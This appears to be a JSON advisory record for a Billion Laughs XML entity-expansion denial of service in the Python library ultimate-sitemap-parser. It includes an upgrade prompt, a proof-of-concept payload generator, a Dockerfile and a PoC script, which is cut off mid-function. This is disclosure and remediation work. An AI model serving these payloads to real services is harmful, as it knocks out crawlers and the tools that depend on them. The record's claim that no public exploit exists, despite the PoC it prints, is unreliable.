{"answers":{"affected":"2 open source packages ship an affected version, including ultimate-sitemap-parser.","exploited":"There is no known exploitation of GHSA-p5wc-9w9r-m232 in the wild and no public exploit code.","fix":"Upgrade ultimate-sitemap-parser to 1.8.1 or later.","what":"GHSA-p5wc-9w9r-m232 is a denial of service vulnerability in ultimate-sitemap-parser, published on 19 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-p5wc-9w9r-m232 and fix it if it is affected.\n\nWhat it is: GHSA-p5wc-9w9r-m232 is a denial of service vulnerability in ultimate-sitemap-parser, published on 19 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-p5wc-9w9r-m232 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- ultimate-sitemap-parser (PyPI): affected all versions; fixed in 1.8.1\n- ultimate-sitemap-parser (PyPI): affected all versions; fixed in 1.8.1\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-p5wc-9w9r-m232/ (Markdown: https://insights.sbomify.com/GHSA-p5wc-9w9r-m232/index.md)","id":"GHSA-p5wc-9w9r-m232","markdown":"https://insights.sbomify.com/GHSA-p5wc-9w9r-m232/index.md","name":"GHSA-p5wc-9w9r-m232","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"upgrade","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"Python sitemap parser","requires_auth":"none","summary":"An attacker can cause denial of service via resource exhaustion by serving a malicious XML sitemap to applications using this Python library.","user_interaction":"not_required","vuln_class":"denial_of_service"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser\n\n### Summary\n\n`ultimate-sitemap-parser` version 1.8.0 and earlier parse attacker-controlled XML content using Python's `xml.parsers.expat` without any restriction on DTD declarations or recursive entity references. An attacker who can serve a malicious sitemap can trigger exponential XML entity expansion (the \"Billion Laughs\" attack), causing unbounded CPU and memory consumption in the victim process. No authentication, user interaction, or special configuration is required — the vulnerability is exploitable by default through any public-facing use of `sitemap_tree_for_homepage()` or `sitemap_from_str()`.\n\n### Details\n\nThe vulnerable code path begins at the public API entry points and flows to the Expat XML parser without any sanitization:\n\n1. **`usp/tree.py:42`** — `sitemap_tree_for_homepage(homepage_url)` is the primary public entry point.\n2. **`usp/tree.py:133`** — `sitemap_from_str(content)` is the secondary public entry point (also directly reachable from user code).\n3. **`usp/fetch_parse.py:141-145`** — `SitemapFetcher._fetch()` retrieves the remote URL content.\n4. **`usp/fetch_parse.py:175`** — The raw response becomes `response_content` (taint propagation point).\n5. **`usp/fetch_parse.py:441-450`** — `XMLSitemapParser.sitemap()` creates an Expat parser and feeds the attacker-controlled content directly to it:\n\n```python\n# usp/fetch_parse.py:441-450  — VULNERABLE SINK\nparser = xml.parsers.expat.ParserCreate(\n    namespace_separator=self.__XML_NAMESPACE_SEPARATOR\n)\n# ... handler assignments ...\nparser.Parse(self._content, is_final)   # \u003c-- no DTD/entity restriction\n```\n\nA full audit of the `usp/` directory confirms that none of the following hardening measures are present:\n- `defusedxml` usage\n- DOCTYPE rejection\n- `SetParamEntityParsing`\n- `UseForeignDTD`\n- `ExternalEntityRefHandler`\n\nWhen a Billion Laughs payload is parsed, each nested entity reference is expanded recursively, multiplying the in-memory string by a factor of 10 per nesting level. At level 6 (10⁶ expansions), processing time exceeds 20 seconds, effectively hanging the calling process.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Option A: install from PyPI\npython -m venv /tmp/usp-poc\n. /tmp/usp-poc/bin/activate\npip install ultimate-sitemap-parser==1.8.0\n```\n\n```bash\n# Option B: Docker (using the provided Dockerfile)\ndocker build -t vuln-001-usp -f vuln-001/Dockerfile .\ndocker run --rm vuln-001-usp\n```\n\n**Attack payload and execution:**\n\n```python\nfrom usp.tree import sitemap_from_str\nimport time, signal\n\nTIMEOUT = 20\n\nclass TimedOut(Exception): pass\ndef handler(s, f): raise TimedOut()\n\ndef build_payload(level):\n    lines = ['\u003c?xml version=\"1.0\"?\u003e', '\u003c!DOCTYPE x [']\n    lines.append(' \u003c!ENTITY lol \"lol\"\u003e')\n    for i in range(1, level + 1):\n        prev = \"lol\" if i == 1 else f\"lol{i-1}\"\n        expansion = \"\".join(f\"\u0026{prev};\" for _ in range(10))\n        lines.append(f' \u003c!ENTITY lol{i} \"{expansion}\"\u003e')\n    lines.append(']\u003e')\n    lines.append('\u003curlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\u003e')\n    lines.append(f'  \u003curl\u003e\u003cloc\u003ehttp://example.com/\u0026lol{level};\u003c/loc\u003e\u003c/url\u003e')\n    lines.append('\u003c/urlset\u003e')\n    return \"\\n\".join(lines)\n\nfor level in [3, 4, 5, 6]:\n    signal.signal(signal.SIGALRM, handler)\n    signal.alarm(TIMEOUT)\n    t = time.perf_counter()\n    try:\n        result = sitemap_from_str(build_payload(level))\n        elapsed = time.perf_counter() - t\n        signal.alarm(0)\n        pages = list(result.all_pages())\n        url_len = len(pages[0].url) if pages else 0\n        print(f\"Level {level}: {elapsed:.4f}s  url_len={url_len:,}\")\n    except TimedOut:\n        elapsed = time.perf_counter() - t\n        signal.alarm(0)\n        print(f\"Level {level}: TIMEOUT after {elapsed:.1f}s -- DoS confirmed\")\n```\n\n**Expected output (observed during dynamic reproduction):**\n\n```\nLevel 3 (10^3):   0.0054s   url_len=3,019\nLevel 4 (10^4):   0.0321s   url_len=30,019\nLevel 5 (10^5):   5.2845s   url_len=300,019\nLevel 6 (10^6):  TIMEOUT after 20.0011s  -- DoS confirmed\n```\n\nProcessing time grows exponentially: level 5 is ~165× slower than level 4, and level 6 exceeds the 20-second watchdog. This conclusively demonstrates unbounded resource consumption.\n\n### Impact\n\nThis is a **Denial-of-Service (DoS)** vulnerability via XML Entity Expansion (the \"Billion Laughs\" / CWE-776 pattern). Any application or service that uses `ultimate-sitemap-parser` to crawl external or user-supplied URLs is impacted.\n\n**Who is affected:**\n- **Web crawlers and indexers** that call `sitemap_tree_for_homepage()` against arbitrary URLs — a single malicious sitemap server can lock up the crawler process.\n- **CI/CD pipelines and monitoring tools** that periodically parse sitemaps as part of automated workflows.\n- **Any application** that passes unvalidated user input to `sitemap_from_str()`.\n\nBecause no authentication, elevated privilege, or prior relationship is required (CVSS PR:N, UI:N), the attack surface is broad. An attacker only needs to operate a web server that returns a malicious sitemap when visited.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"VULN-001: XML Entity Expansion (Billion Laughs) DoS PoC\" \\\n      target=\"GateNLP/ultimate-sitemap-parser \u003c= 1.8.0\" \\\n      cwe=\"CWE-776\"\n\nWORKDIR /app\n\n# Copy the cloned repository first\nCOPY repo/ /app/repo/\n\n# Install uv_build (required build backend) then install the vulnerable package from the local clone\nRUN pip install --no-cache-dir \"uv_build\u003e=0.9.6,\u003c0.10.0\" \u0026\u0026 \\\n    pip install --no-cache-dir /app/repo/\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"-u\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: XML Entity Expansion (Billion Laughs) DoS\nAffected: GateNLP/ultimate-sitemap-parser \u003c= 1.8.0\nCWE-776: Improper Restriction of Recursive Entity References in DTDs\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5 High)\n\nSink: usp/fetch_parse.py:450\n  parser = xml.parsers.expat.ParserCreate(namespace_separator=...)\n  parser.Parse(self._content, is_final)   \u003c- no DTD/entity restriction\n\nEntry: usp.tree.sitemap_from_str(content: str) -\u003e AbstractSitemap\n\"\"\"\n\nimport signal\nimport sys\nimport time\n\nfrom usp.tree import sitemap_from_str\n\nTIMEOUT_SECONDS = 20\nDOS_THRESHOLD_SECONDS = 2.0  # level 5 must exceed this to PASS\n\nclass TimedOut(Exception):\n    pass\n\ndef _alarm_handler(signum, frame):\n    raise TimedOut(\"SIGALRM fired\")\n\ndef build_billion_laughs_payload(level: int) -\u003e str:\n    \"\"\"Build a Billion Laughs XML payload nested to `level` depth.\n\n    Each level multiplies expansion by 10:\n      level 3 -\u003e 10^3   = 1,000 chars\n      level 4 -\u003e 10^4   = 10,000 chars\n      level 5 -\u003e 10^5   = 100,000 chars\n      level 6 -\u003e 10^6   = 1,000,000 chars\n    \"\"\"\n    lines = ['\u003c?xml version=\"1.0\"?\u003e', \"\u003c!DOCTYPE x [\"]\n    lines.append(' \u003c!ENTITY lol \"lol\"\u003e')\n    for i in range(1, level + 1):\n        prev = \"lol\" if i == 1 else f\"lol{i - 1}\"\n        expansion = \"\".join(f\"\u0026{prev};\" for _ in range(10))\n        lines.append(f' \u003c!ENTITY lol{i} \"{expansion}\"\u003e')\n    lines.append(\"]\u003e\")\n    lines.append('\u003curlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\u003e')\n    lines.append(f\"  \u003curl\u003e\u003cloc\u003ehttp://example.com/\u0026lol{level};\u003c/loc\u003e\u003c/url\u003e\")\n    lines.append(\"\u003c/urlset\u003e\")\n    return \"\\n\".join(lines)\n\ndef parse_with_timeout(payload: str):\n    \"\"\"Parse payload under SIGALRM watchdog; return (elapsed, url_len, timed_out).\"\"\"\n    signal.signal(signal.SIGALRM, _alarm_handler)\n    signal.alarm(TIMEOUT_SECONDS)\n    start = time.perf_counter()\n    timed_out = False\n    url_len = 0\n    try:\n        result = sitemap_from_str(payload)\n        elapsed = time.perf_counter() - start\n        signal.alarm(0)\n        pages = list(result.all_pages())\n        if pages:\n            url_len = len(pages[0].url)\n    except TimedOut:\n        elapsed = time.perf_counter() - start\n        timed_out = True\n        signal","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Ultimate Sitemap Parser (USP): XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser","id":"GHSA-p5wc-9w9r-m232","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"denial_of_service","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["1.8.1"],"introduced":["0"],"last_affected":[],"package":"ultimate-sitemap-parser","purl":null,"source":"GHSA-p5wc-9w9r-m232"},{"ecosystem":"PyPI","fixed":["1.8.1"],"introduced":["0"],"last_affected":[],"package":"ultimate-sitemap-parser","purl":"pkg:pypi/ultimate-sitemap-parser","source":"GHSA-p5wc-9w9r-m232"}],"products":null,"published":"2026-06-19","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An attacker can cause denial of service via resource exhaustion by serving a malicious XML sitemap to applications using this Python library.","url":"https://insights.sbomify.com/GHSA-p5wc-9w9r-m232/"}